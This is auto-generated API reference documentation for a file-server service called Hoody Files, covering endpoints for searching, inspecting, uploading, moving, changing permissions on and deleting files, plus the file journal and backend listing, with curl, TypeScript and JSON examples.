| `pattern` | query | string | Yes | Search pattern (regex by default, literal if `fixed_string=true`) |
| `ignore_case` | query | boolean | No | Case-insensitive matching — default: `false` |
| `fixed_string` | query | boolean | No | Treat pattern as literal string, not regex — default: `false` |
| `glob` | query | string | No | Filter files by glob pattern (e.g. `*.rs`, `*.{ts,tsx}`) |
| `context` | query | integer | No | Number of context lines before and after each match — default: `0` |
| `max_count` | query | integer | No | Maximum matches per file — default: `50` |
| `max_matches` | query | integer | No | Total maximum matches across all files — default: `500` |
| `max_depth` | query | integer | No | Maximum directory recursion depth — default: `50` |
| `max_filesize` | query | integer | No | Skip files larger than this (bytes) — default: `10485760` |
| `timeout` | query | integer | No | Search timeout in seconds — default: `30` |
| `no_ignore` | query | boolean | No | Bypass `.gitignore` filtering — default: `false` |



```bash
curl -X GET "https://api.example.com/api/v1/files/grep/src?pattern=TODO&context=2&max_count=20"
```


```typescript
const results = await client.files.grep({
  path: "src",
  pattern: "TODO",
  context: 2,
  max_count: 20
});
```


```json
{
  "duration_ms": 124,
  "matches": [
    {
      "column_byte": 4,
      "context_after": ["    return result;"],
      "context_before": ["function calculate() {"],
      "line": "    // TODO: handle edge case",
      "line_number": 42,
      "path": "src/utils/math.ts"
    }
  ],
  "path": "src",
  "pattern": "TODO",
  "total_files_matched": 1,
  "total_files_searched": 84,
  "total_matches": 1,
  "truncated": false
}
```


```json
{
  "error": "Invalid regex pattern",
  "success": false
}
```


```json
{
  "error": "Grep is not enabled on this server",
  "success": false
}
```


```json
{
  "error": "Path not found",
  "success": false
}
```


```json
{
  "error": "Too many concurrent searches",
  "success": false
}
```



### `GET /api/v1/files/realpath/{path}`

Resolve a file or directory path to its canonical absolute form by following all symbolic links and resolving all `.`/`..` segments. Equivalent to POSIX `realpath(3)` or Node.js `fs.realpath()`. The returned `real_path` is relative to the serve root. Returns 404 if the path does not exist, 400 for circular symlinks (ELOOP), and 403 if the resolved path escapes the serve root.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path to resolve |



```bash
curl -X GET "https://api.example.com/api/v1/files/realpath/docs/../README.md"
```


```typescript
const result = await client.files.realpath({
  path: "docs/../README.md"
});
```


```json
{
  "path": "docs/../README.md",
  "real_path": "/README.md"
}
```


```json
{
  "error": "Symlink loop detected",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_PATH` | Invalid path | Path contains invalid characters or traversal attempts | — |
| `ELOOP` | Symlink loop | Too many levels of symbolic links (circular chain) | — |
| `OPERATION_CONFLICT` | Operation conflict | Cannot combine realpath with other query operations | — |


```json
{
  "error": "Resolved path is outside serve root",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PERMISSION_DENIED` | Permission denied | Insufficient permissions to access the path | — |
| `PATH_ESCAPE` | Path escapes root | Resolved canonical path is outside the serve root | — |


```json
{
  "error": "Path not found",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PATH_NOT_FOUND` | Path not found | The path does not exist or contains a broken symlink | Verify the path exists and all symlinks in the chain are valid |



### `GET /api/v1/files/stat/{path}`

Get detailed metadata (`stat`) for a single file or directory without downloading content. Returns name, type, size, modification time, permissions, ownership, and symlink information.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |



```bash
curl -X GET "https://api.example.com/api/v1/files/stat/README.md"
```


```typescript
const metadata = await client.files.stat({
  path: "README.md"
});
```


```json
{
  "group": "staff",
  "is_symlink": false,
  "mtime": 1718400000000,
  "name": "README.md",
  "owner": "user",
  "path": "README.md",
  "path_type": "File",
  "permissions": "644",
  "revisions": 5,
  "size": 4096,
  "symlink_target": null
}
```


```json
{
  "error": "File not found",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FILE_NOT_FOUND` | File not found | The specified path does not exist | Verify the path is correct |



## File Operations

### `POST /api/v1/files/{path}`

Perform various file operations: create directory, extract archive, download from URL, move, or copy. Pass the operation as a query parameter.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Target file or directory path |
| `backend` | query | string | No | Backend ID for remote operations |
| `mkdir` | query | string | No | Create directory |
| `extract` | query | string | No | Extract archive. Empty value extracts all; non-empty value is a selective path to extract (e.g. `src/main.rs` or `lib/`) |
| `dest` | query | string | No | Destination directory name for extraction (default: archive name without extension) |
| `download_from` | query | string | No | Download file from remote URL |
| `move_to` | query | string | No | Move file/directory to destination path |
| `copy_to` | query | string | No | Copy file/directory to destination path |
| `overwrite` | query | string | No | Allow overwriting existing destination (for copy) — one of `true`, `false` |
| `owner` | query | string | No | Create-time owner for newly-created inodes as user[:group] or uid[:gid]. Requires --allow-chown and must resolve to an entry in --allowed-create-owners; refuses root (uid/gid 0). Absent → the server default create owner. Applies to mkdir/extract/download_from/copy_to. |



```bash
curl -X POST "https://api.example.com/api/v1/files/projects/new-app?mkdir="
```


```bash
curl -X POST "https://api.example.com/api/v1/files/downloads/release.tar.gz?extract="
```


```bash
curl -X POST "https://api.example.com/api/v1/files/data.csv?download_from=https://example.com/data.csv"
```


```typescript
// Create a directory
await client.files.operate({
  path: "projects/new-app",
  mkdir: ""
});

// Extract an archive
await client.files.operate({
  path: "downloads/release.tar.gz",
  extract: ""
});
```


```json
{
  "source": "/data/old.csv",
  "destination": "/data/new.csv",
  "success": true
}
```


```json
{
  "message": "Directory created",
  "success": true
}
```


```json
{
  "error": "Source file or directory not found",
  "success": false
}
```


```json
{
  "error": "Destination already exists",
  "success": false
}
```



### `POST /api/v1/files/copy/{path}`

Copy a file or directory to a new location. Supports recursive directory copy. Auto-creates parent directories at destination. Use `?overwrite=true` to replace existing destination.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Source file or directory path |
| `copy_to` | query | string | Yes | Destination path to copy the file/directory to |
| `overwrite` | query | string | No | Allow overwriting existing destination (default: false) — one of `true`, `false` |
| `owner` | query | string | No | Create-time owner (user[:group]/uid[:gid]) for newly-created copies. Requires --allow-chown + allowlist; refuses root. Overwritten existing files preserve their owner. Absent → server default. |



```bash
curl -X POST "https://api.example.com/api/v1/files/copy/src/index.ts?copy_to=backup/index.ts"
```


```typescript
const result = await client.files.copy({
  path: "src/index.ts",
  copy_to: "backup/index.ts"
});
```


```json
{
  "destination": "backup/index.ts",
  "source": "src/index.ts",
  "success": true
}
```


```json
{
  "error": "Copy operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `COPY_FORBIDDEN` | Copy not allowed | Server requires --allow-upload flag for copy operations | Contact administrator to enable --allow-upload flag |


```json
{
  "error": "Source file or directory not found",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_NOT_FOUND` | Source not found | The source path does not exist | Verify the source path is correct |


```json
{
  "error": "Destination already exists",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DESTINATION_EXISTS` | Destination conflict | A file or directory already exists at the destination path | Use ?overwrite=true to replace or choose a different destination |



### `POST /api/v1/files/move/{path}`

Move or rename a file/directory to a new location. Works across directories. Auto-creates parent directories at destination. Requires both upload and delete permissions.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Source file or directory path |
| `move_to` | query | string | Yes | Destination path to move the file/directory to |
| `owner` | query | string | No | Create-time owner (user[:group]/uid[:gid]) for newly-created destination PARENT directories. Requires --allow-chown + --allowed-create-owners; refuses root. The moved inode itself preserves its existing owner. Absent → server default. |



```bash
curl -X POST "https://api.example.com/api/v1/files/move/draft.md?move_to=published/draft.md"
```


```typescript
const result = await client.files.move({
  path: "draft.md",
  move_to: "published/draft.md"
});
```


```json
{
  "destination": "published/draft.md",
  "source": "draft.md",
  "success": true
}
```


```json
{
  "error": "Move operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MOVE_FORBIDDEN` | Move not allowed | Server requires both --allow-upload and --allow-delete flags for move operations | Contact administrator to enable both flags |


```json
{
  "error": "Source file or directory not found",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_NOT_FOUND` | Source not found | The source path does not exist | Verify the source path is correct |


```json
{
  "error": "Destination already exists",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DESTINATION_EXISTS` | Destination conflict | A file or directory already exists at the destination path | Delete the existing file first or choose a different destination |



## Uploading & Appending

### `PUT /{path}`

Upload a file to the server. Creates new files or overwrites existing ones.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Destination file path |

#### Request Body

Sends the file content as `application/octet-stream` binary data.



```bash
curl -X PUT "https://api.example.com/uploads/report.pdf" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @report.pdf
```


```typescript
const result = await client.files.upload({
  path: "uploads/report.pdf",
  body: fileBuffer
});
```


```json
{
  "description": "File uploaded successfully"
}
```


```json
{
  "error": "Upload operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `UPLOAD_FORBIDDEN` | Upload operation not allowed | Server is not configured to allow file uploads | Contact administrator to enable --allow-upload flag |



### `PUT /{path}?touch`

Create an empty file if it does not exist, or update the modification time if it does. Cannot be used on directories.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File path to touch |
| `touch` | query | string | Yes | Flag to indicate touch operation |



```bash
curl -X PUT "https://api.example.com/logs/today.txt?touch="
```


```typescript
await client.files.touch({
  path: "logs/today.txt",
  touch: ""
});
```


```json
{
  "description": "File created (did not exist)"
}
```


```json
{
  "description": "Modification time updated (file already existed)"
}
```


```json
{
  "error": "Cannot touch a directory",
  "success": false
}
```


```json
{
  "error": "Touch operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOUCH_FORBIDDEN` | Touch operation not allowed | Server is not configured to allow touch operations | Contact administrator to enable --allow-touch flag |



### `PUT /api/v1/files/{path}`

Upload a file to the server or to a remote backend. Use `?append` to append to an existing file instead of overwriting.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Destination file path |
| `backend` | query | string | No | Backend ID for remote upload |
| `append` | query | string | No | Append body to end of existing file (create if missing) instead of overwriting |
| `owner` | query | string | No | Create-time owner (user[:group]/uid[:gid]) for a newly-created file. Requires --allow-chown + --allowed-create-owners; refuses root. Overwrites/appends to an existing file preserve its owner. Absent → server default. |

#### Request Body

Sends the file content as `application/octet-stream` binary data.



```bash
curl -X PUT "https://api.example.com/api/v1/files/uploads/data.csv" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @data.csv
```


```typescript
const result = await client.files.put({
  path: "uploads/data.csv",
  body: fileBuffer
});
```


```json
{
  "new_size": 8192,
  "path": "logs/server.log",
  "success": true
}
```


```json
{
  "message": "File uploaded successfully",
  "path": "uploads/data.csv",
  "size": 4096,
  "success": true
}
```


```json
{
  "error": "Upload operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `UPLOAD_FORBIDDEN` | Upload operation not allowed | Server is not configured to allow file uploads | Contact administrator to enable --allow-upload flag |
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | User account does not have upload permissions for this path | Contact administrator for write permissions or authenticate with different account |



### `PUT /api/v1/files/append/{path}`

Append binary data to the end of an existing file. Creates the file if it does not exist. Auto-creates parent directories.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File path |
| `owner` | query | string | No | Create-time owner (user[:group]/uid[:gid]) when this append creates a new file. Requires --allow-chown + allowlist; refuses root. Absent → server default. |

#### Request Body

Sends the file content as `application/octet-stream` binary data.



```bash
curl -X PUT "https://api.example.com/api/v1/files/append/logs/server.log" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "New log line\n"
```


```typescript
const result = await client.files.append({
  path: "logs/server.log",
  body: Buffer.from("New log line\n")
});
```


```json
{
  "new_size": 12288,
  "path": "logs/server.log",
  "success": true
}
```


```json
{
  "error": "Upload operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `UPLOAD_FORBIDDEN` | Upload not allowed | Server is not configured to allow file uploads | Contact administrator to enable --allow-upload flag |



## Modifying Properties

### `PATCH /{path}`

Supports resumable uploads, appending to files, changing file permissions (Unix only), changing file ownership (Unix only), and renaming files or directories.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `X-Update-Range` | header | string | No | Set to `append` to append data to the end of the file. Perfect for logs and incremental writes. Example: `curl -X PATCH -H 'X-Update-Range: append' --data-binary @data.txt http://server/file.log` |

#### Request Body

The request body is one of:

- **ChmodRequest** (`{ "mode": "755" }`) — change file permissions
- **ChownRequest** (`{ "owner": "user", "group": "users" }`) — change file ownership
- **RenameRequest** (`{ "name": "new-filename.txt" }`) — rename file or directory
- **Binary `application/octet-stream`** — for resumable uploads or appending (use `X-Update-Range: append` header)



```bash
curl -X PATCH "https://api.example.com/script.sh" \
  -H "Content-Type: application/json" \
  -d '{"mode": "755"}'
```


```bash
curl -X PATCH "https://api.example.com/old-name.txt" \
  -H "Content-Type: application/json" \
  -d '{"name": "new-name.txt"}'
```


```bash
curl -X PATCH "https://api.example.com/logs/server.log" \
  -H "X-Update-Range: append" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "New log line\n"
```


```typescript
// Change permissions
await client.files.patch({
  path: "script.sh",
  data: { mode: "755" }
});

// Rename
await client.files.patch({
  path: "old-name.txt",
  data: { name: "new-name.txt" }
});
```


```json
{
  "description": "Operation successful"
}
```


```json
{
  "error": "Invalid permissions format",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_OPERATION` | Invalid operation | The requested operation is not valid or parameters are malformed | Check request format and ensure valid operation parameters |
| `INVALID_PERMISSIONS_FORMAT` | Invalid permissions format | Chmod mode must be valid octal format (e.g., 755, 644) | Use valid octal permission format |


```json
{
  "error": "Operation not allowed on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `OPERATION_FORBIDDEN` | Operation not allowed | Server is not configured to allow this operation (chmod/chown/rename/upload) | Contact administrator to enable appropriate flags |
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | User account does not have permissions for this operation | Contact administrator for required permissions |


```json
{
  "error": "A file with the target name already exists",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FILE_EXISTS` | File already exists | Cannot rename - a file or directory with the target name already exists | Choose a different name or delete the existing file first |
| `NAME_CONFLICT` | Name conflict | The target filename conflicts with an existing entry | Use a unique filename or remove conflicting file |



### `PATCH /api/v1/files/{path}`

Modify file properties or move/rename via REST API v1. Supports `chmod` (`?chmod=755`), `chown` (`?chown=user:group`), rename (JSON body with `name`), and cross-directory move (JSON body with `move_to`).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File path |
| `backend` | query | string | No | Backend ID for remote file operations |
| `chmod` | query | string | No | Set file permissions using octal mode value (e.g., `?chmod=755`) |
| `chown` | query | string | No | Set file ownership (e.g., `?chown=user:group` or `?chown=user`) |
| `owner` | query | string | No | Create-time owner (user[:group]/uid[:gid]) for newly-created destination parent directories on a JSON-body move_to. Requires --allow-chown + --allowed-create-owners; cannot be root. The moved item keeps its own owner. Absent → server default. |

#### Request Body

The request body is one of:

- **MoveRequest** (`{ "move_to": "/new/dir/file.txt" }`) — move file to a new path
- **RenameRequest** (`{ "name": "new-filename.txt" }`) — rename file in place



```bash
curl -X PATCH "https://api.example.com/api/v1/files/script.sh?chmod=755"
```


```bash
curl -X PATCH "https://api.example.com/api/v1/files/script.sh?chown=user:staff"
```


```bash
curl -X PATCH "https://api.example.com/api/v1/files/old/path.txt" \
  -H "Content-Type: application/json" \
  -d '{"move_to": "/new/dir/path.txt"}'
```


```typescript
// Change permissions via query
await client.files.patchApi({
  path: "script.sh",
  chmod: "755"
});

// Move via body
await client.files.patchApi({
  path: "old/path.txt",
  data: { move_to: "/new/dir/path.txt" }
});
```


```json
{
  "mode": "755",
  "path": "script.sh",
  "success": true
}
```


```json
{
  "error": "Invalid chmod mode",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_MODE` | Invalid chmod mode | The chmod mode value is not valid octal notation | Use octal notation like 755 or 644 (max 7777) |
| `INVALID_OWNER` | Invalid owner or group | The specified user or group could not be resolved | Verify the username/group exists on the system |


```json
{
  "error": "chmod not allowed on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CHMOD_FORBIDDEN` | Chmod not allowed | Server is not configured to allow chmod operations | Contact administrator to enable --allow-chmod flag |
| `CHOWN_FORBIDDEN` | Chown not allowed | Server is not configured to allow chown operations | Contact administrator to enable --allow-chown flag |


```json
{
  "error": "File or directory not found",
  "success": false
}
```


```json
{
  "error": "Destination already exists",
  "success": false
}
```



### `PATCH /api/v1/files/chmod/{path}`

Change file or directory permissions using octal mode (Unix only). Pass the mode value in the `chmod` query parameter, e.g., `?chmod=755`.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `chmod` | query | string | Yes | Octal permission mode (e.g., `755`, `644`, `0755`) |



```bash
curl -X PATCH "https://api.example.com/api/v1/files/chmod/script.sh?chmod=755"
```


```typescript
const result = await client.files.chmod({
  path: "script.sh",
  chmod: "755"
});
```


```json
{
  "mode": "755",
  "path": "script.sh",
  "success": true
}
```


```json
{
  "error": "Invalid chmod mode",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_MODE` | Invalid chmod mode | The mode value is not valid octal notation | Use octal notation like 755 or 644 (max 7777) |
| `UNIX_ONLY` | Unix only | chmod is only supported on Unix systems | Use a Unix-based server |


```json
{
  "error": "chmod not allowed on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CHMOD_FORBIDDEN` | Chmod not allowed | Server is not configured to allow chmod operations | Contact administrator to enable --allow-chmod flag |


```json
{
  "error": "File or directory not found",
  "success": false
}
```



### `PATCH /api/v1/files/chown/{path}`

Change file or directory ownership (Unix only). Pass `owner:group` in the `chown` query parameter, e.g., `?chown=user:group`. Group is optional.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `chown` | query | string | Yes | Owner and optional group (e.g., `user:group`, `user`, `:group`, or `UID:GID`) |



```bash
curl -X PATCH "https://api.example.com/api/v1/files/chown/data.csv?chown=app:staff"
```


```typescript
const result = await client.files.chown({
  path: "data.csv",
  chown: "app:staff"
});
```


```json
{
  "group": "staff",
  "owner": "app",
  "path": "data.csv",
  "success": true
}
```


```json
{
  "error": "Invalid owner or group",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_OWNER` | Invalid owner | The specified user could not be resolved | Verify the username or UID exists on the system |
| `INVALID_GROUP` | Invalid group | The specified group could not be resolved | Verify the group name or GID exists on the system |
| `UNIX_ONLY` | Unix only | chown is only supported on Unix systems | Use a Unix-based server |


```json
{
  "error": "chown not allowed on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CHOWN_FORBIDDEN` | Chown not allowed | Server is not configured to allow chown operations | Contact administrator to enable --allow-chown flag |


```json
{
  "error": "File or directory not found",
  "success": false
}
```



## Deletion

### `DELETE /{path}`

Permanently delete a file or directory. Recursive — deleting a directory removes its contents.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Path to file or directory to delete |



```bash
curl -X DELETE "https://api.example.com/old/draft.txt"
```


```typescript
const result = await client.files.deleteRecursive({
  path: "old/draft.txt"
});
```


```json
{
  "message": "File deleted successfully",
  "success": true
}
```


```json
{
  "error": "Delete operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DELETE_FORBIDDEN` | Delete operation not allowed | Server is not configured to allow file deletion | Contact administrator to enable --allow-delete flag |


```json
{
  "error": "File or directory not found",
  "success": false
}
```



### `DELETE /api/v1/files/{path}`

Delete a file or directory from the server or a remote backend. Supports a `backend` query parameter to target a specific cloud storage backend.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Path to file or directory to delete |
| `backend` | query | string | No | Backend ID for remote file deletion |



```bash
curl -X DELETE "https://api.example.com/api/v1/files/old/draft.txt"
```


```typescript
const result = await client.files.delete({
  path: "old/draft.txt"
});
```


```json
{
  "message": "File deleted successfully",
  "success": true
}
```


```json
{
  "error": "Delete operations are not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DELETE_FORBIDDEN` | Delete operation not allowed | Server is not configured to allow file deletion | Contact administrator to enable --allow-delete flag |
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | User account does not have delete permissions for this path | Contact administrator for write permissions |


```json
{
  "error": "File or directory not found",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FILE_NOT_FOUND` | File or directory not found | The specified path does not exist in storage or backend | Verify the path is correct and the file exists |

---

# File Hashing

**Page:** api/files/hashing

[Download Raw Markdown](./api/files/hashing.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## File Hashing

File hashing provides a way to compute and verify cryptographic hash values for files stored in Hoody. A hash is a fixed-size fingerprint of a file's contents — even a single byte change produces a completely different hash — making it ideal for integrity checking, deduplication, and tamper detection.

Use the file hashing endpoints to:

- **Compute hashes** for files at rest, including support for common algorithms such as MD5, SHA-1, SHA-256, and SHA-512.
- **Verify integrity** by comparing a computed hash against a known good value.
- **Detect changes** to files between points in time without re-downloading or re-parsing the file contents.
- **Support deduplication** workflows by identifying files with identical content.


Hashing operations are read-only and do not modify files. They are safe to call repeatedly on the same resource.


The following pages document the endpoints available for computing and verifying file hashes within your workspaces.

---

# Hoody Files

**Page:** api/files/index

[Download Raw Markdown](./api/files/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Hoody Files API

The Hoody Files API provides health and system endpoints for the Files service. These endpoints are used to inspect the current API version and server metadata, typically as part of connectivity checks or deployment verification.

## System

### `GET /api/v1/version`

Returns the current API version and server information for the Files service.

This endpoint takes no parameters.




```json
{
  "server_version": "2024.01.15",
  "version": "1.0.0"
}
```




#### SDK Usage

```ts
const response = await client.files.system.getApiVersion();
```

---

# File Journal & Audit Log

**Page:** api/files/journal

[Download Raw Markdown](./api/files/journal.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## File Journal & Audit Log

Use these endpoints to query the file mutation journal, view journal storage statistics, and force pending entries to be flushed to disk. The journal records every file change event — including create, write, delete, move, copy, chmod, and chown operations — and supports cursor-based pagination for large result sets.

### Query journal entries

`GET /api/v1/journal`

Returns a paginated list of file mutation journal entries, filtered by path prefix, operation type, and timestamp. Use the `after_id` cursor to fetch subsequent pages when `has_more` is `true`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | query | string | No | Filter entries by path prefix |
| `op` | query | string | No | Filter by operation type(s), comma-separated (e.g. `write,delete`) |
| `since` | query | string | No | Filter entries since timestamp (RFC3339 or Unix ms) |
| `limit` | query | integer | No | Max entries to return |
| `after_id` | query | integer | No | Cursor: return entries with id > after_id |



```bash
curl -G "https://api.hoody.com/api/v1/journal" \
  -H "Authorization: Bearer &lt;token&gt;" \
  --data-urlencode "path=/workspace/data" \
  --data-urlencode "op=write,delete" \
  --data-urlencode "limit=50"
```


```typescript
const result = await client.files.journal.query({
  path: "/workspace/data",
  op: "write,delete",
  since: "2024-01-15T00:00:00Z",
  limit: 50
});
```


```json
{
  "count": 2,
  "entries": [
    {
      "id": 1042,
      "ts": 1705305600000,
      "op": "write",
      "path": "/workspace/data/config.json",
      "before": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
      "after": "d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2",
      "blob": true,
      "blob_before": false,
      "blob_after": true,
      "size_before": 0,
      "size_after": 128,
      "seq": 7
    },
    {
      "id": 1043,
      "ts": 1705305660000,
      "op": "delete",
      "path": "/workspace/data/old.log",
      "before": "a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1",
      "after": null,
      "blob": true,
      "blob_before": true,
      "blob_after": false,
      "size_before": 4096,
      "size_after": 0,
      "seq": 3
    }
  ],
  "has_more": false,
  "next_after_id": null
}
```


```json
{
  "error": "Journal not enabled",
  "message": "The file journal is not enabled on this workspace"
}
```


```json
{
  "error": "Too Many Requests",
  "message": "Too many concurrent journal queries"
}
```



### Get journal statistics

`GET /api/v1/journal/stats`

Returns storage statistics for the journal system, including entry counts, blob storage usage, writer health, and pruning information. Use this to monitor journal health and detect completeness degradation.

This endpoint takes no parameters.



```bash
curl "https://api.hoody.com/api/v1/journal/stats" \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const stats = await client.files.journal.getStats();
```


```json
{
  "total_entries": 158472,
  "total_blobs": 42180,
  "total_blob_bytes": 268435456,
  "total_storage_bytes": 312345678,
  "writer_healthy": true,
  "entries_skipped_total": 0,
  "parse_failures": 0,
  "skipped_overflow": 0,
  "newest_entry_ts": 1705305660000,
  "pruned_before_date": "2024-01-01"
}
```


```json
{
  "error": "Journal not enabled",
  "message": "The file journal is not enabled on this workspace"
}
```


```json
{
  "error": "Too Many Requests",
  "message": "Too many concurrent journal queries"
}
```



#### Response fields

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `entries_skipped_total` | integer | Yes | Number of paths with entries that were dropped (writer outage) |
| `newest_entry_ts` | integer | No | Timestamp (Unix ms) of the most recent entry, or null if no entries |
| `parse_failures` | integer | Yes | Count of corrupted/malformed JSONL lines encountered during scans |
| `pruned_before_date` | string | No | ISO date (YYYY-MM-DD) before which all day files have been pruned, or null if no pruning |
| `skipped_overflow` | integer | Yes | Count of dropped paths that exceeded the tracking cap. Non-zero means completeness detection is degraded |
| `total_blob_bytes` | integer | Yes | Total bytes used by content blobs |
| `total_blobs` | integer | Yes | Total number of content blobs stored |
| `total_entries` | integer | Yes | Total number of journal entries across all day files |
| `total_storage_bytes` | integer | Yes | Total bytes used by journal (entries + blobs) |
| `writer_healthy` | boolean | Yes | Whether the background JSONL writer task is healthy |


A non-zero `skipped_overflow` indicates that path tracking has exceeded its cap, which degrades the ability to detect completeness gaps in the journal. Consider investigating writer health and storage capacity.


### Flush journal to disk

`POST /api/v1/journal/flush`

Forces all pending journal entries to be written and `fsync`ed to disk. Returns `200` with `flushed=true` if all entries were durably persisted, or `503` with `flushed=false` if the flush failed or entries were lost.

This endpoint takes no parameters.



```bash
curl -X POST "https://api.hoody.com/api/v1/journal/flush" \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const result = await client.files.journal.flush();
if (result.flushed) {
  console.log("All entries persisted to disk");
}
```


```json
{
  "flushed": true
}
```


```json
{
  "error": "Journal not enabled",
  "message": "The file journal is not enabled on this workspace"
}
```


```json
{
  "flushed": false
}
```




Call this endpoint before taking a snapshot, cloning the workspace, or any operation that requires a known-durable journal state. It guarantees that all in-memory journal entries have been written and synced to underlying storage.

---

# Backend Management

**Page:** api/files/managing-backends

[Download Raw Markdown](./api/files/managing-backends.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Backend Management API lets you list, inspect, test, rotate credentials on, and disconnect storage backends registered with the Hoody Files system. Use these endpoints to audit connections, verify reachability, rotate passwords and tokens without a full reconnect, and tear down backends you no longer need.


Identity fields such as host, user, port, and backend type cannot be changed with an update. To change those, disconnect the backend and reconnect it with the new values.


## List & Inspect

### `GET /api/v1/backends`

Returns all backends currently registered with the system, including their connection state and active mount paths.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/backends \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const result = await client.files.backends.list();
```


```json
{
  "backends": [
    {
      "id": "a1b2c3d4e5f67890",
      "backend_type": "ssh",
      "server": "ssh:generic",
      "user": "deploy",
      "connected": true,
      "mount_paths": ["/mnt/storage/ssh-a1b2"],
      "created_at": "2024-01-15T10:30:00Z"
    },
    {
      "id": "b2c3d4e5f6789012",
      "backend_type": "s3",
      "server": "s3:generic",
      "user": "",
      "connected": true,
      "mount_paths": [],
      "created_at": "2024-02-01T14:22:18Z"
    }
  ],
  "count": 2
}
```

| Field | Type | Description |
|-------|------|-------------|
| `backends` | array | List of backend objects |
| `backends[].id` | string | Unique backend identifier (16-char hex) |
| `backends[].backend_type` | string | Backend type (e.g., `ssh`, `s3`, `mega`, `drive`) |
| `backends[].server` | string | Server identifier (e.g., `ssh:generic`, `s3:generic`) |
